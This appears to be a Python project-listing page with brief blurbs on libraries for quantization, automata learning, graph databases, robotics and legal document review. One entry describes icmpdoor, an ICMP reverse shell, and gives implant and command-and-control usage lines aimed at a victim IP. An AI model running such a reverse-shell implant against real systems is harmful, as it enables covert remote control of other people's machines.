An advanced quantization library written for PyTorch

Hessian AWare Quantization HAWQ is an advanced quantization library written for PyTorch. HAWQ enables low-precision and mixed-precision uniform quantization, with direct hardware implementation through TVM. Installation PyTorch version >= 1.4.0 Python version >= 3.6 For training new models, you’ll also need NVIDIA GPUs and NCCL To install HAWQ and develop locally: git clone https://github.com/Zhen-Dong/HAWQ.git cd HAWQ pip install -r requirements.txt Getting Started Quantization-Aware Training An example to run uniform 8-bit quantization for resnet50 on ImageNet. export CUDA_VISIBLE_DEVICES=0 python quant_train.py -a […]

Read more

An Active Automata Learning Library Written in Python

AALpy AALpy is a light-weight active automata learning library written in pure Python. By implementing a single method and a few lines of configuration, you can start learning automata. Whether you work with regular languages or you would like to learn models of reactive systems, AALpy supports a wide range of modeling formalisms, including deterministic, non-deterministic, and stochastic automata. You can use it to learn deterministic finite automata, Moore machines, and Mealy machines of deterministic systems. If the system that […]

Read more

An easy way to interact with graph databases using Jupyter notebooks

Graph Notebook: easily query and visualize graphs The graph notebook provides an easy way to interact with graph databases using Jupyter notebooks. Using this open-source Python package, you can connect to any graph database that supports the Apache TinkerPop or the RDF SPARQL graph model. These databases could be running locally on your desktop or in the cloud. Graph databases can be used to explore a variety of use cases including knowledge graphs and identity graphs. Visualizing Gremlin queries: Visualizing […]

Read more

An ICMP rev shell written in Python3 and scapy

icmpdoor – ICMP Reverse Shell icmpdoor is an ICMP rev shell written in Python3 and scapy. Tested on Ubuntu 20.04, Debian 10 (Kali Linux), and Windows 10. Python version usage (both Windows and Linux): ./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control) ./icmpdoor.py -i INTERFACE -d CNC-IP (Implant) Binary Windows version usage version: ./icmp-cnc.exe -d VICTIM-IP (Command and Control) ./icmpdoor.exe -d CNC-IP (Implant) Binary Linux version usage version: ./icmp-cnc -d VICTIM-IP (Command and Control) ./icmpdoor -d CNC-IP (Implant) Parameters details: […]

Read more

Raster-based Spatial Analysis for Python

xarray-spatial Xarray-Spatial implements common raster analysis functions using Numba and provides an easy-to-install, easy-to-extend codebase for raster analysis. Installation # via pip pip install xarray-spatial # via conda conda install -c conda-forge xarray-spatial Dowloading our starter examples and data Once you have xarray-spatial installed in your environment, you can use one of the following in your terminal (with the environment active) to download our examples and/or sample data into your local directory. xrspatial examples : Download the examples notebooks and […]

Read more

Simplest Wireguard Dashboard written in Python

Wireguard Dashboard Monitoring Wireguard is not convinient, need to login into server and type wg show. That’s why this platform is being created, to view all configurations in a more straight forward way. đź’ˇFeatures Add peers in configuration Manage peer names Delete peers And many more coming up! Welcome to contribute to this project! đź“ťRequirement Ubuntu 18.04.1 LTS, other OS might work, but haven’t test yet. Wireguard Configuration files under /etc/wireguard Python 3.7 đź› Install 1. Install Python Dependencies $ python3 […]

Read more

A Persistent Embedded Graph Database for Python

Cog Embedded Graph Database for Python. Installing Cog pip install cogdb Cog is a persistent embedded graph database implemented purely in Python. Torque is Cog’s graph query language. Cog also provides a low level API to its fast persistent key-value store. Cog is ideal for python applications that does not require a full featured database. Cog can easily be used as a library from within a Python application. Cog be used interactively in an IPython environment like Jupyter notebooks. Cog […]

Read more

Python News: What’s New From March 2021?

Python is a dynamic language in more ways than one: Not only is it not a static language like C or C++, but it’s also constantly evolving. If you want to get up to speed on what happened in the world of Python in March 2021, then you’ve come to the right place to get your news! March 2021 marks a notable change to the core of the Python language with the addition of structural pattern matching, which is available […]

Read more

A Python implementation of the Robotics Toolbox for MATLAB

Robotics Toolbox for Python. Synopsis This toolbox brings robotics-specific functionality to Python, and leveragesPython’s advantages of portability, ubiquity and support, and the capability ofthe open-source ecosystem for linear algebra (numpy, scipy), graphics(matplotlib, three.js, WebGL), interactive development (jupyter, jupyterlab,mybinder.org), and documentation (sphinx). The Toolbox provides tools for representing the kinematics and dynamics ofserial-link manipulators – you can easily create your own in Denavit-Hartenbergform, import a URDF file, or use over 30 supplied models for well-knowncontemporary robots from Franka-Emika, Kinova, Universal Robotics, […]

Read more

Automate the case review on legal case documents

Automation on Legal Court Cases Review This project is to automate the case review on legal case documents and find the most critical cases using network analysis. Project Information: Keywords: Automation, PDF parse, String Extraction, Network Analysis Software: Python : pdfminer, LexNLP, nltk sklearn R: igraph Scope: Parse court documents, extract citations from raw text. Build citation network, identify important cases in the network. Extract judge’s opinion text and meta information including opinion author, court, decision. Model training to predict […]

Read more
1 19 20 21 22 23